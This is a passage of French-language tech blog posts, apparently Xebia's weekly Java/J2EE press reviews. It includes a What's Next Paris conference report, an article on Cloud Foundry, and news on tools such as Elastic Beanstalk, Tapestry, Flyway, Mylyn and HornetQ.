évolutions embarquées dans Java 7 et 8 avec des exemples de code source à l’appui, petit rappel utile de ce qui nous attend pour 2011 et 2012. Il conclut que le progrès et l’innovation fonctionnent mieux quand il y a quelqu’un pour tenir la barre.

Il passe enfin la parole à un collègue qui nous présente rapidement Windows Azure - le cloud par Microsoft – qui supporte beaucoup de plateformes de développement. L’offre permet de déployer ses applications sans se soucier de la scalabilité ou des VM qui font tourner le service. La solution rappelle fortement CloudFoundry, mais c’est encore un système propriétaire. Parmi les service embarqués on retient la mise à disposition d’une base SQL. Il y a un plugin eclipse Azure4J, la base est disponible en SQL par JDBC, elle serait d’ailleurs compatible avec JPA (étonnant pour une base distribuée). La solution a l’air intéressant et il est agréable de constater les efforts fournis par Microsoft pour les développements Java. Pour plus d’information consultez le site Waz4j. 

C’est ensuite Rob Harrop qui prend la parole et nous présente RabbitMQ ce bus de message multi-protocole basé sur AMQP. RabbitMQ supporte la plupart des langages Java, Python, Ruby, NodeJs et j’en passe. Il développe sous nos yeux un petit système envoyant le cours des actions de plusieurs groupes, il développe ensuite des consommateurs en Python en Ruby et va jusqu’à se connecter en Telnet sur son instance RabbitMQ pour recevoir les messages. Le système permet de convertir les messages vers STOMP, XMPP et HTTP en transmettant toujours le même contenu. Rob Harrop développe un serveur web NodeJs qui reçoit les messages du bus et les transmet dans une WebSocket. Après quelques passages d’un terminal à l’autre, Rob affiche la page dans son navigateur et les chiffres défilent instantanément à l’écran. La démonstration est vraiment convaincante et l’assemblée l’accueille avec enthousiasme. 

Après un déjeuné frugal, nous accueillons Theo Schlossnagle qui vient nous parler d’architecture. Il commence par prendre le contre-pied de la mode cloud et NoSQL en avançant que nous avons déjà bien assez de puissance de calcul chez nos clients et qu’il faut commencer par faire fonctionner nos systèmes avec les ressources dont nous disposons. Les systèmes distribués n’empêchent pas les défauts d’une architecture. Dans la majorité des cas, il faut repenser les systèmes. Le conseil majeur de Theo est d’éviter la complexité, les systèmes simples sont bien plus faciles à développer, tester et déployer. Il faut donc découpler les services afin de les maintenir simples et isolés.  Là, il nous met en garde, car cela nécessite l’utilisation de bus de messages, ce qui s’avère complexe. Voici quelques uns de ces conseils avisés :

• Utilisez des traitements asynchrones.
• Simulez l’ensemble du système en développement pour le faire tomber au plus tôt, car une architecture finit toujours par casser.
• Mettez en place du code défensif (timeouts, heartbeat, …)
• Assurez la supervision complète du système (Temps de réponses, Nombre de clients, Taille des files d’attente, …)

Pour tout dire une présentation riche et instructive.

Michaël Chaize, prend la suite pour nous présenter la plateforme Flex, dont nous avons déjà parlé sur le blog. Il nous présente d’abord quelques applications réalisées par Adobe, avec des interfaces tres graphiques et interactives.  Une petite pique au HTML5, puis il passe à une démonstration mobile en développant une application listant les Tweets #wsnparis. Michaël utilise FlexBuilder pour son développement, rapidement il lance l’application dans un simulateur Android. Il nous liste les plateformes supportées (Android, BlackBerry, ios). Un auditeur le rejoint sur la scène et nous présente une application développée par ses soins, déployée sur deux téléphones et une tablette. L’interface s’adapte bien à chaque taille d’écran et chaque définition. Les démonstrations ont l’air fluide sur les mobiles et Michaël insiste sur les efforts fournis pour optimiser les performances de la machine virtuelle. La présentation est convaincante et l’argument de la portabilité mobile pèse dans la balance, comme nous l’avions vu lors du XKE d’avril.

Jonas Bonér vient ensuite nous parler d’AKKA le framework développement orienté acteur.  Il nous présente d’abord ce que sont les acteurs à savoir des unités de traitements isolées orientées messages. Chaque acteur possède un état, une mémoire propre et s’exécute dans un Thread réservé. Akka tente de résoudre trois problèmes essentiels des systèmes informatiques :

• Scalabilté (fonctionnement réparti et distribué).
• Tolérance à la panne
• Concurrence d’exécution

Les acteurs sont asynchrones par essence, mais il est possible d’attendre le résultat du traitement d’un message via l’utilisation d’un Future. Les acteurs distants permettent d’assurer la distribution et la scalabilité. Le mode cluster sera disponible en version 2.0, il repose sur l’utilisation de ZooKeeper et permet de créer des grilles sans connaître la topologie réseau à priori. Jonas nous parle ensuite de la tolérance à la panne en nous expliquant la detection des noeuds cassés, et le système de recouvrement automatique. Sur le slide, le système à l’air réellement fiable, en cas d’erreur les noeuds sont d’abord tués puis redémarrés.  La présentation donne vraiment envie de tester cette technologie émergente issue de Scala et qui d’ailleurs fait parti de la stack TypeSafe. 

Shay Banon prend maintenant la parole pour nous présenter ElasticSearch une solution d’indexation et de recherche construite au dessus de Lucene avec la particularité de fonctionner en cluster avec la distribution des index et leur réplication sur un ou plusieurs noeuds du système. Tout se déroule dans un terminal dans lequel le speaker lance des requêtes en curl sur le serveur qu’il a lancé en local. Petit à petit il nous montre des exemples de plus en plus complexes, en commençant par la création d’un serveur simple puis d’un cluster. Il enchaîne ensuite avec une indexation basique en augmentant la complexité régulièrement. Tous les échanges sont réalisés en Rest Json. La recherche utilise directement la syntaxe Lucene, il est même possible d’utiliser des requêtes pré-définies avec Percolator. La démonstration est intéressante bien que cela manque un peu de vie, je ne suis pas vraiment convaincu par l’outil, la plus-value par rapport à Solr n’est pas évidente.

Pour conclure cette journée de conférences, Kohsuke Kawaguchi se lance dans une présentation sur l’avenir de l’intégration et des outils du développeur en général. Il constate que nous avons de plus en plus de machines de plus en plus puissantes, le développeur est le berger d’un troupeau d’ordinateurs. Il faut donc aider le berger à tirer partie au mieux de toute cette puissance de calcul. Pour choyer le développeur qui est une denrée rare par rapport au datacenter, Kohsuke nous donne quelques pistes: 

• Distribuer les builds
• Augmenter et améliorer le parallélisme (Compilation, Test unitaires, Parallel Junit, TestNG, …)
• Utiliser un SCM distribué

Cette liste n’est pas exhaustive et il faut bien reconnaître que Kohsuke a beaucoup d’idées pleines de bon sens. Il propose même de déporter définitivement la compilation et les tests sur le serveur d’intégration pour éviter au développeur la perte de temps considérable que cela représente. J’avoue avoir encore quelques doutes, mais en exécutant les tests unitaires avant de pousser vos sources sur Git ou Mercurial pourquoi pas.

Conclusion

La conférence est une réussite de mon point de vue d’auditeur, le contenu était dense mais cela nous a assuré deux jours de veille technologique fort sympathiques. L’ambiance était bonne et puisque Zenika l’a annoncée, ce sera un plaisir de venir à la prochaine édition. Voilà pour l’ambiance et l’organisation, mais je ne peux m’arrêter là sans faire le tour des grandes tendances ressenties à la What’s Next. La scalabilité est sur toutes les lèvres, l’idée ne semble pas nouvelle mais il n’est pas possible de parler de cette conférence sans écrire ce mot magique. Il faut aussi noter la presque omniprésence des langages fonctionnels, Scala et NodeJS en tête. Les systèmes sont de plus en plus polyglottes et il faudra compter avec ces nouveaux langages pour les futurs développements. Remarquez aussi, pour ceux qui ne l’avait pas encore en tête, que le standard HTML5 devient de plus en plus incontournable. Enfin, notez que le cloud est lui aussi sur le devant de la scène, les solutions PAAS de SpringSource et Microsoft annoncent à mon sens une démocratisation de ce type d’architecture. C’est aussi une démocratisation assez globale de l’utilisation des NoSQL ou plus exactement des bases de données distribuées. Après ces deux derniers points, je reprendrai les conseils de Theo Schlossnagle : avant de penser au cloud, commencez par résoudre les problèmes que vous rencontrez sur vos architectures en pensant aux traitements asynchrones, à la programmation défensive et à la simplicité avant tout.

• En décembre 2008, SpringSource annonce la sortie de tcServer.
• En mai 2009, SpringSource annonce la mise à disposition gratuite de sa suite de développement Spring Tool Suite.
• En mai 2009, SpringSource rachète Hyperic l’éditeur de l’outil de supervision HypericHQ, permettant ainsi de disposer d’une solution de monitoring performante.
• En août 2009 déjà, le mois du rachat de SpringSource par VMware, Rod Johnson annonçait sur son blog son intension de lancer Cloud Foundry tout en donnant sa vision sur une gestion unifiée du cycle de vie des applications au travers des solutions de SpringSource. L’offre classique de Cloud Foundry est d’ailleurs toujours en ligne, mais à une nouvelle adresse.
• En avril 2010, SpringSource/VMware rachète RabbitMQ, proposant ainsi une brique de messaging prête pour le Cloud et intégrée avec Spring.
• En mai 2010, SpringSource/VmWare se dote d’un cache distribué en rachetant GemStone qui édite le produit GemFire.
• En septembre 2010, SpringSource/VMware annonce la sortie de sa plateforme vFabric.
• Au SpringOne2GX en novembre 2010, SpringSource/VMware annonce sa plateforme Code2Cloud, qui propose ni plus ni moins d’apporter le Cloud au développeur via la mise à disposition d’une suite logicielle de gestion du cycle de vie des applications. Cette plateforme Cloud met à disposition des développeurs des outils tels qu’un bugtracker basé sur Bugzilla, une intégration avec Mylyn pour Eclipse, un Gestionnaire de code source avec Git, une plateforme d’intégration continue avec Hudson, ainsi qu’un ensemble d’outils intégrés via STS.

La liste n’est sûrement pas exhaustive, mais tout cela ne serait pas complet si SpringSource ne proposait pas une mise à jour de son framework Spring en version 3.1. Cette version propose notamment un support de fonctionnalités de cache, un support du protocole AMQP ou bien encore un support des profils permettant de gérer plus facilement des configuration de beans différentes en fonctions des environnements.

Qu’est-ce que Cloud Foundry?

Cloud Foundry, c’est tout d’abord un projet de Platform as a Service Open-Source sous licence Apache 2.0 hébergé sur GitHub avec un site officiel. Mais c’est également une plateforme d’hébergement en mode PaaS, permettant de déployer ses applications en un clic depuis la suite applicative Spring Tool Suite. Cloud Foundry se veut être le premier fournisseur « Plateform as a Service » réellement basé sur une solution ouverte, qui n’implique pas un lock-in technologique.

SpringSource/VMware à vu les choses en grand puisque le projet se veut multi-langages en proposant le support d’au moins 3 langages différents: Java (+ différents langages tournant sur la JVM), Ruby, et JavaScript, ainsi que le support de différents frameworks/DSL Web de premier rang, tels que Rails ou bien encore Sinatra pour Ruby, ainsi que Grails pour Groovy.

Au chapitre stockage de données, l’offre de Cloud Foundry n’est pas en reste puisque sont proposés les supports d’une base clé/valeurs via le support Redis, d’une base orientée document via le support de MongoDB, et d’une base de données relationnelle via le support de MySQL.

La suite Spring Tool Suite, qui permet de développer des applications SpringSource sous Eclipse, permet d’ores et déjà d’accéder à l’ensemble de l’outillage nécessaire pour développer une application prête pour Cloud Foundry.

Bon à savoir: Une version Cloud Foundry Micro Cloud sera bientôt proposée au téléchargement, elle permettra de faire tourner dans VMware Fusion ou VMware Player une image iso correspondant à une mono instance Cloud Foundry adaptée à un Desktop.

Face à la richesse de la solution proposée, certains concurrents semblent faire pâle figure, et risquent d’être relégués à un rôle de challenger de second rang ou bien d’offre Cloud d’entrée de gamme.

Google et son App Engine a du souci à se faire, et va devoir être innovant s’il veut conserver une place de choix. La solution de CloudBees quant à elle est en train de se faire couper l’herbe sous le pied, puisque SpringSource/VMware propose maintenant non seulement une offre PaaS de Run at Cloud avec Cloud Foundry, mais également une offre en preview de Build at Cloud avec Code2Cloud.

Tout cela profite bien évidemment au monde du développement qui voit s’ouvrir devant lui de nouvelles perspectives qui commençaient à se faire attendre.

NB: Il est tout de même nécessaire de noter que l’accès à la Beta de la plateforme est conditionné par l’obtention d’un compte, ce qui peut mettre un certain temps. Il semblerait que les équipes aient du mal à suivre la demande. Autre point en suspens, il n’est pour l’instant annoncé aucun prix relatif à l’offre de SpringSource/VMware, espérons que les prix ne fassent pas l’effet d’un pétard mouillé. Pour le moment, l’accès à l’offre est gratuit, et ce au moins jusqu’à la fin de la Beta.

Liens intéressants

Vous trouverez quelques liens ci-dessous permettant de creuser le sujet:

• Le site communautaire du projet est disponible à l’adresse suivante: http://www.cloudfoundry.org.
• La plateforme d’hébergement de Cloud Foundry : http://www.cloudfundry.com.
• Le projet GitHub: https://github.com/cloudfoundry.

Ainsi que différents articles permettant de bootstrapper rapidement un projet Cloud Foundry avec sa technologie préférée:

• Déployer son application Grails en une étape avec Cloud Foundry.
• Roo + Cloud Foundry = La productivité dans le Cloud.
• Cloud Foundry pour les développeurs Spring – Très bon article sur l’utilisation des outils STS pour travailler avec Cloud Foundry
• Lancement de Cloud Foundry – La première plateforme PaaS ouverte de l’industrie informatique

Actualité éditeurs / SSII

• Amazon Elastic Beanstalk est disponible en bêta publique

Le coin de la technique

• Sortie de VirtualBox 4.0.2
• Sortie de Spring Web Services 2.0

Actualité éditeurs / SSII

Amazon Elastic Beanstalk est disponible en bêta publique

Cette semaine, Amazon a lancé en bêta le service Elastic Beanstalk. Ce nouveau service de Cloud Computing est un PaaS (Platform as a Service). Toutefois, Beanstalk se veut différent de ses concurrents en vous offrant davantage de contrôle sur l’infrastructure sous-jacente. Le service s’appuie ainsi sur les autres services Amazon existants : EC2, S3, Elastic Load Balancing, Auto-scaling et Simple Notification.

Cette première version du service autorise seulement le déploiement d’application web Java. Vous téléchargez votre application (au format WAR); le service instancie et configure pour vous un serveur, un load balancer et un groupe d’auto-scaling. L’application est ensuite disponible, au bout de quelques minutes, à une adresse de type http://monapplication.elasticbeanstalk.com.

Si l’on rentre un peu plus dans les détails, le stockage de votre archive s’effectue dans Amazon S3 et votre machine serveur se base sur une AMI (Amazon Machine Image) Linux, Apache et Tomcat 6. Depuis la console d’administration, vous pouvez entre autres:

• Monitorer les instances de votre application (CPU, latence, consommation de la bande passante)
• Dimensionner la machine en choisissant un type d’instance parmi ceux proposés par EC2
• Paramétrer les critères de montée en charge (trafic réseau, utilisation CPU, etc.)
• Accéder aux fichiers de log Tomcat directement depuis l’interface
• Autoriser la connexion directe aux instances utilisées (à réserver aux cas extrêmes )

Le service est accessible dès à présent pour Java, mais devrait évoluer pour supporter davantage de langages et de plate-formes. Enfin pour les plus curieux d’entre vous, sachez que son utilisation est couverte par les quotas gratuits des services Amazon.

Le coin de la technique

Sortie de VirtualBox 4.0.2

Avis à tous ceux qui utilisent des machines virtuelles (et je les suppose nombreux dans notre branche) : le VirtualBox nouveau est sorti. Après une version majeure 4.0 en fin décembre 2010, voici la première release de l’année avec son lot de corrections de bugs (un peu plus de 30). Il est agréable de voir que les premiers bugfix arrivent rapidement après une release majeure. Cela permet de renforcer la confiance dans cette génération 4. Pour la liste complète des correctifs, voir le changelog.

Sortie de Spring Web Services 2.0

La version 2.0 du module Spring Web Services a vu le jour après presqu’une année de travail. Parmi les modifications importantes, il est nécessaire de citer la dépendance à la librairie Spring 3.0 (suite au refactoring du module Spring OXM). Cette dépendance à Spring 3.0 s’accompagne également d’une contrainte, l’utilisation de java 5.

Cette version, en plus des habituels correctifs, offre plus de souplesse sur les types pris en charge dans les signatures de méthodes. Le système d’annotation similaire, dans l’esprit, à celui de Spring MVC s’intègre d’emblée avec les librairies: jdom, dom4j, XOM, JAXB2 et StAX. Autre nouveauté majeure, un support poussé pour les tests d’intégration des parties clientes (utilisant WebServiceTemplate) et/ou serveur grâce au module spring-ws-test. Cette version est rétro compatible avec la version 1.5. Pour davantage de détails sur les changements et correctifs, consultez l’annonce officielle et le changelog.

Actualité éditeurs / SSII

• Tapestry 5.2
• Flyway, gérer la migration de vos bases de données

Le coin de la technique

• Spring étend son support des technologies NoSql.

Actualité éditeurs / SSII

Tapestry 5.2

Comme Howard Lewis Ship l’a annoncé la semaine dernière, Tapestry 5.2 est enfin disponible après 18 mois d’effort. Parmi les améliorations majeures:

• Suppression du mécanisme de page pooling. Ce mécanisme permettait de contrôler le nombre d’instances d’une page par requête. Mais ces pages pouvaient être lourdes et engendrer des problèmes de mémoires. A présent une seule instance par page est nécessaire et c’est une Map contenant les différentes transformations qui est gérée pour chaque thread.
• Rechargement à chaud des services définis dans Tapestry. Avant il était possible de le faire uniquement sur les pages et les composants.
• Support pour la JSR-303 sur la validation de bean.
• Meilleur support des tests avec une intégration plus pertinente aux cycles de démarrage de Selenium et Jetty.

Tout en préservant la compatibilité ascendante, contrairement à ce qui a pu être reproché sur d’anciennes versions, Tapestry 5.2 apporte des changements en profondeur qui devraient améliorer les performances et la productivité, pour rejoindre la nouvelle devise de Tapestry: Code less, deliver more.

Flyway, gérer la migration de vos bases de données

Maintenir les schémas des bases de données d’un projet d’une version à l’autre et sur les différents environnements de développement et de test peut devenir une vraie gageure. Liquibase, parmi d’autres, propose déjà une solution qui permet de tracer les différents changements de la base dans des fichiers xml qui permettent ensuite d’appliquer ces migrations ou inversement, de faire des rollbacks.

Une nouvelle solution nous est proposée par Flyway, qui vient de sortir sa version 1.0. L’approche semble plus légère que pour Liquibase et contient quelques atouts:

• les fichiers de migrations sont directement des scripts sql. Un projet qui a déjà ses scripts de migrations mais qui veut rationaliser leur gestion aura donc plus de facilités à adopter cette solution.
• la convention est privilégiée à la configuration. Pour détecter le changement d’une version à une autre, Flyway s’appuie sur des règles de nommages des fichiers de configuration.
• il est possible également d’utiliser du code java dans le cas par exemple d’insertion de données complexes comme des blobs.
• l’intégration avec maven est plutôt bien pensée.

Sans doute moins complet que Liquibase et manquant de maturité, le projet a débuté en avril 2010. Sa simplicité peut devenir un avantage dans sa rapidité d’adoption. Par contre, certains reprocheront, entre autres, l’absence d’intégration à Hibernate ou d’autres ORM. Il sera d’autant plus intéressant de surveiller la future version de Liquibase.

Le coin de la technique

Spring étend son support des technologies NoSql.

Après CouchDB, MongoDb et Neo4j, c’est au tour des bases clé-valeur Riak et Redis de faire leur entrée dans le projet Spring Data. Le but du projet Spring Data est de permettre aux développeurs d’utiliser plus facilement les bases de données non relationnelles, en mettant à leur disposition une couche d’abstraction « à la Spring », avec pour chaque base, un SpringTemplate. En pratique, ce n’est guère plus qu’un wrapper autour de quelques méthodes clé de ces bases NoSql (put, get…). Mais ce projet a pour mérite de mettre en lumière ces nouvelles technologies et de les amener à la connaissance de la large communauté Spring.

Mylyn, c’est le framework ALM (Application Lifecycle Management) d’Eclipse. Il réorganise tout l’IDE autour de tâches. Celles-ci seront ensuite traduites par Mylyn pour nos différents outils comme notre gestionnaire de sources, notre intégration continue ou bien encore notre bugtracker. Le développeur pourra ainsi ne se préoccuper que de ses tâches, Mylyn s’occupant du reste.

Oliver Gierke nous oriente vers 3 grands domaines concernant cette fameuse productivité recherchée du développeur : focus, productivity et traceability.

Focus

Tout se passe dans l’onglet Task List d’Eclipse avec une liste de tâches à effectuer. A noter qu’on ne peut activer qu’une seule tâche à la fois.

Le concept : chaque tâche aura son propre contexte de travail.

Ainsi, dès lors que l’on a activé une tâche, l’onglet Task List se vide et laisse apparaître tous les fichiers sur lesquels nous sommes en train de travailler. L’intérêt est que si l’on change en cours de route de tâche, la nouvelle tâche repartira d’un contexte vide et, en revenant sur notre première tâche, on récupérera notre contexte avec tous nos fichiers modifiés.

Productivity

L’idée ici est de gagner du temps en ayant tout de suite à sa disposition les bons outils intégrés dans son environnement de travail. En effet, avoir plus d’une dizaine d’outils répartis sur son IDE, dans son navigateur, sur son desktop… cela donne des alertes un peu n’importe où Il faut donc passer d’un patchwork à un integrated toolset.

Par défaut, Mylyn gère un nombre assez important de bugtrackers et d’outils en tout genre avec dans le désordre : Bugzilla, Jira, Bamboo, Crucible, Trac, Mantis, Hudson, Egit, CVS…

Pour la récupération des informations de l’outil, prenons par exemple Jira, il est possible de définir ses propres requêtes afin de ne récupérer qu’une certaine partie des bugs. Pour la saisie d’un bug, on dispose d’un éditeur Rich Task Editor pour la saisie des informations liées au bug (OS, version…) et pour la partie commentaire on dispose de l’éditeur WikiText qui nous permet d’écrire de la syntaxe Wiki.

Toujours en terme de productivité, il est possible d’organiser ses requêtes ou ses outils en Working Sets. On pourra aussi exporter ses contextes avec de les partager avec toute l’équipe.

Traceability

Ce concept découle du point précédent. On peut ainsi pour une tâche donnée récupérer toute les informations utiles du type qui, quoi et pourquoi, tout étant regroupé en un seul point.

Démo

Vient ensuite une petite démo avec un projet directement connecté sur le bugtracker de SpringSource :

Code2Cloud

Pour terminer, Oliver nous parle de Code2Cloud, la solution complète de SpringSource pour simplifier la vie du développeur (annonce faite au SpringOne2GX 2010).

Pourquoi parler de Code2Cloud ? Bugzilla, Git, Hudson, STS mais surtout…. Mylyn ! Olivier propose l’exemple de son intégration avec Spring Insight. On pourra ainsi configurer Spring Insight pour créer automatiquement un bug dans le bugtracker pour toute exception levée par l’application. Le bug sera bien sûr rempli avec la stack trace dans le bon champ, les classes impactées, OS/versions… Tout ceci toujours prévu pour le premier trimestre 2011.

Pour conclure

A noter enfin que Mylyn sous-projet de l’IDE Eclipse est devenu top level Eclipse project depuis mi-Septembre. Il rejoint entres autres WTP et EMF dans cette short list de projets qui représentent les secteurs clés d’Eclipse.

L’outil est bon mais pour ma part un point très gênant réside toujours : Un changement de contexte ne met pas de côté les changements effectués à la manière d’un git stash que l’on pourrait récupérer plus tard avec un pop. Si vous connaissez un plugin ou une petite commande qui fait ça, n’hésitez pas à commenter !

La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia.

Actualité éditeurs / SSII

• Apple va collaborer au projet OpenJDK
• Oracle et Apache: de l’eau dans le gaz

SOA

• La SOA renait de ses cendres

Le coin de la technique

• Sortie d’Hyperic 4.5
• S4, le nouveau jouet de Yahoo!

Actualité éditeurs / SSII

Apple va collaborer au projet OpenJDK

Presque un mois après son annonce retentissante d’arrêter l’édition de la JVM pour Mac, Apple dans un récent communiqué de presse, a annoncé sa future collaboration avec Oracle pour contribuer au projet OpenJDK. Il rassure ainsi sur le futur des JVM pour OS X. Avec dernièrement le soutien d’IBM et maintenant d’Apple, le projet OpenJDK a de beaux jours devant lui. On espère que la qualité de l’intégration sera au rendez-vous pour les nombreux développeurs Java sous Mac.

Apple a confirmé que le JDK6 restera disponible de chez eux, pour OS X Snow Leopard et le prochain OS X Lion. Mais à partir du JDK 7, les versions pour Mac seront distribuées directement par Oracle. Chez Apple, on se félicite de ce partenariat qui devrait assurer aux Java-istes Mac d’obtenir dans le futur des releases au même rythme que tous les autres, au lieu d’avoir toujours un cran de retard. Espérons que tout se passe pour le mieux.

Oracle et Apache: de l’eau dans le gaz

Le début de la semaine passée a vu la Fondation Apache émettre un billet qui a fait beaucoup de bruit. Dans celui-ci, elle reproche à Oracle de ne pas respecter les termes du JSPA (pour Java Specification Participation Agreement) et qui, d’après la Fondation, l’autorisent à obtenir un TCK (Test Compatibility Kit) lui permettant de redistribuer Harmony, son JDK, sous la licence Apache. Le problème, qui reste un problème de brevet et de propriété intellectuelle, est ouvert depuis un moment: en 2007 déjà, Apache avait écrit une lettre ouverte à Sun. Les choses n’ont que peu changé depuis. Sauf qu’aujourd’hui, la Fondation menace carrément de quitter le processus du JCP ! Comme l’analyse InfoQ, c’est peut-être la seule arme qui reste à la Fondation Apache. Mais serait-ce vraiment une bonne chose ?
Pour mieux comprendre les termes et enjeux de l’imbroglio dans lequel se sont empêtrées les parties, un excellent document reste la FAQ publiée à l’époque par Apache pour expliciter sa lettre ouverte à Sun. Oracle vient d’ailleurs de publier sa réponse et… le moins que l’on puisse dire, c’est que la situation semble dans une impasse, chacun restant campé sur ses positions.

Par ailleurs, il faut aussi replacer les choses dans leur contexte actuel:

• IBM, le plus gros contributeur à Harmony, le JDK d’Apache, a récemment indiqué se rapprocher d’Oracle à travers OpenJDK. Ainsi, il se détache d’Apache qui se retrouve donc isolé.
• Oracle a par ailleurs attaqué Google sur son implémentation d’Android, basée en grande partie sur ce même Harmony.
• enfin, le récent regain d’intérêt envers Java SE for embedded devices n’est peut-être pas étranger à tous ces problèmes. Même si le produit « date d’avant Android », Oracle semble vouloir le renforcer. Et la première étape, comme annoncé lors de l’ARM Conference consiste à faire correspondre les numéros de versions et implémentations des versions Java SE classic et embedded. Cette version est-elle appelée à se retrouver rapidement dans les téléphones portables à grande échelle maintenant que Java ME semble dépassé ? Oracle pourrait le souhaiter, car elle n’est pas gratuite !

SOA

La SOA renait de ses cendres

C’est ce qu’affirme le Burton group après avoir fais le buzz il y a deux ans avec son acticle SOA is Dead.
En effet, le rapport du cabinet note une remontée d’intérêt concernant les projets SOA, boostée par l’émergence du cloud computing.
Il place d’ailleurs la SOA comme prérequis pour réussir ses projets dans le cloud.
Il est aussi précisé que l’échec de la SOA il y a deux ans, a été largement provoqué d’une part, par la crise économique, et d’autre part, par les différentes solutions et technologies poussées par les éditeurs.
Ainsi, il faudrait se focaliser plus sur les principes fondamentaux de la SOA pour garantir la réussite de son architecture du SI ou de ses projets de migration vers le cloud. Pour en savoir plus, les articles de ZDNet ou de EbizQ sont de bons points de départ.

Le coin de la technique

Sortie d’Hyperic 4.5

Hyperic, la solution de monitoring et de management de SpringSource/VmWare est récement sortie en version 4.5. On peut voir l’annonce sur le blog de SpringSource ou celui d’Hyperic.

Cette nouvelle version apporte quelques nouveautés telles que le support des produits GemFire (un système de cache distribué), RabbitMQ (un système de messaging) et tc Server (un serveur Tomcat modifié). On peut voir que les efforts ont été portés vers les produits de SpringSource vFabric dont Hyperic fait partie.

La grosse nouveauté de cette version 4.5 réside dans ses fondations, avec des changements importants :

• l’utilisation du Framework Spring 3 à la place des EJB,
• le déploiement d’Hyperic se fait maintenant sur un serveur Tomcat et non plus sur JBoss,
• l’utilisation de Maven à la place de Ant,
• le changement du SCM qui passe de Subversion à Git.

Ces changements ont quelques conséquences plutôt bénéfiques pour le projet. En effet, le passage au framework Spring a permis de réduire la taille du code ainsi que sa complexité. De plus le passage de JBoss à Tomcat permet un gain sensible sur le temps de déploiement, faisant par la même gagner un temps précieux aux développeurs d’Hyperic.

Ces différentes améliorations devraient permettre de faciliter l’apparition de nouveautés dans les futures versions ainsi qu’une plus grande stabilité.

S4, le nouveau jouet de Yahoo!

Cette semaine, on risque de beaucoup parler de Hadoop, en particulier grâce à Devoxx. Yahoo!, qui a fortement contribué à ce framework de Map/Reduce via la fondation Apache, prépare déjà sa succession : S4. Là où Hadoop est plutôt orienté batch, S4 a pour but d’amener au Map/Reduce une dimension temps réel, en travaillant directement sur des flux continus de données.
Yahoo! utilise d’ores et déjà S4 en production pour analyser et cibler les informations publicitaires affichées aux internautes.
Le projet vient d’être cédé à la communauté openSource, sous licence Apache 2.0.
C’est le début d’une aventure qui s’annonce longue et semée d’embuche (comme le savent déjà ceux qui, comme nous, ont essayé de faire du pseudo temps-réel avec la stack Hadoop), mais d’ores et déjà palpitante.
S4 est écrit en Java, actuellement disponible en version alpha, et cherche des contributeurs !

La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia.

Actualité éditeurs / SSII

• Cloudbees propose Hudson en Software as a Service
• JBoss met en avant les performances de HornetQ

SOA

• Lancement de vFabric au VMworld 2010 : Spring in the cloud

Le coin de la technique

• GWT 2.1 sera Maven compliant
• OAuth : pas le protocole d’authentification ultime ?
• Ruby on Rails 3 est sorti du bois, JRuby l’attendait au bar

Evènements de notre communauté en France et à l’étranger

• Jug Summer Camp 2010 – La Rochelle

Actualité éditeurs / SSII

Cloudbees propose Hudson en Software as a Service

Le Software as a Service fait beaucoup de bruit, mais peu d’initiatives tangibles émergent. C’est peut être à cause de la complexité de nos logiciels, ou bien à cause du manque de maitrise qui en résulte, que nous hésitons à les déporter sur un environnement de type cloud. Alors, pourquoi ne pas commencer petit, avec un logiciel que nous maitrisons parfaitement ? Plutôt que d’arriver chez vos clients et de systématiquement reconstruire une plateforme d’intégration continue, Cloudbees propose Hudson « à la demande » (_HaaS_ Hudson as a Service). Avec un dimensionnement automatique du nombre d’agents nécessaires pour effectuer l’ensemble des taches de votre build, Cloubees offre une réelle parallélisation des traitements, et donc des builds plus rapides. Ant, Maven et le Jdk sont disponibles dans une grande variété de versions. Et, petit plus appréciable, Cloudbees propose « gratuitement » des repositories GIT, SVN et un dépôt Maven privés.
La facturation se décompose en deux parties :

• un partie fixe, de 25$ à 35$ par mois, en fonction du nombre de user (5 ou 10).
• une partie variable, par agent et par minute d’utilisation (0,6$ par heure et par agent).

Reste à sortir les calculatrices, pour savoir si dans votre cas mieux vaut mobiliser un master et plusieurs slaves Hudson dans votre propre infrastructure, ou bien si le tarif agressif de ce nouveau mode d’intégration continue vous décidera à déposer vos sources sur le cloud. Pour tester ce nouveau service, Cloudbess propose une version d’évaluation de 7 jours, incluant 7 heures de build.

JBoss met en avant les performances de HornetQ

Un peu plus d’un an après la sortie officielle d’HornetQ, sur les fondations de JBoss Messaging, RedHat tente de prouver sa maturité et son avance sur d’autres produits du marché. Un benchmark, proposé par eux-mêmes, compare les produits suivants:

• HornetQ 2.1.1 final
• ActiveMQ 5.3.2 GA
• SwiftMQ 7.6
• OpenMQ 4.4
• d’autres produits mais anonymes

Les scénarios choisis suivent ces critères:

• le nombre d’acteurs: d’un producteur et un consommateur (1/1) jusqu’à un scénario avec 40 acteurs de chaque côté.
• la taille des messages allant de 12 bytes à 1k byte.
• de type publish/subscribe ou point-à-point
• la persistance ou non des messages
• la persistance transactionnelle ou non

Sans trop de surprises, HornetQ s’en sort très bien au niveau des résultats, ActiveMQ trainant beaucoup la patte, même face à d’autre concurrents. Bien que forcément partial, on peut cependant dégager quelques remarques intéressantes sur les points forts de HornetQ:

• le MoM devance de loin ses concurrents sur le transfert de petits messages non persistés
• la différence est moins grande pour le transfert de messages non persistés plus gros (1k), et se fait parfois même dépasser
• la différence est à nouveau grande dans les scénarios de persistance

HornetQ est capable d’utiliser un mode asynchrone pour l’écriture des fichiers à condition d’être sur une distribution particulière de linux. Cette option n’est pas spécifiée dans le benchmark et donc ne doit pas être utilisée, mais une précision serait la bienvenue, histoire d’être sûr.

Les benchmarks de ce type sont souvent sujet à polémiques et celui-ci en fait partie. Les scénarios sont souvent trop simples, chaque éditeur a ses options très spécifiques à tel cas d’utilisation. Néanmoins on peut lire entre les lignes les points forts et les points faibles et ensuite à chacun de se faire une opinion.

SOA

Lancement de vFabric au VMworld 2010 : Spring in the cloud

La semaine dernière, VMWare était au coeur de l’actualité avec l’évènement VMworld qui a été le théâtre de plusieurs annonces dont celle de VFabric.
VMWare souhaite pousser les applications dans le Cloud et il a rassemblé sous le nom VFabric, les différents éléments de sa plateforme pour le développement et l’exploitation d’applications cloudifiées.
L’annonce est relayée sur le blog de Rod Johnson qui nous donne sa vision de cette nouvelle plateforme. SpringSource qui s’est fait connaitre grâce au framework Spring dispose maintenant d’un portefeuille de technologies conséquent :

• son serveur d’application tcServer (reposant sur Tomcat),
• le datagrid GemFire,
• le serveur web et le load balancer de la solution Enterprise Ready Server (basé sur le serveur web Apache),
• la solution de monitoring Hyperic,
• le système de messaging RabbitMQ.

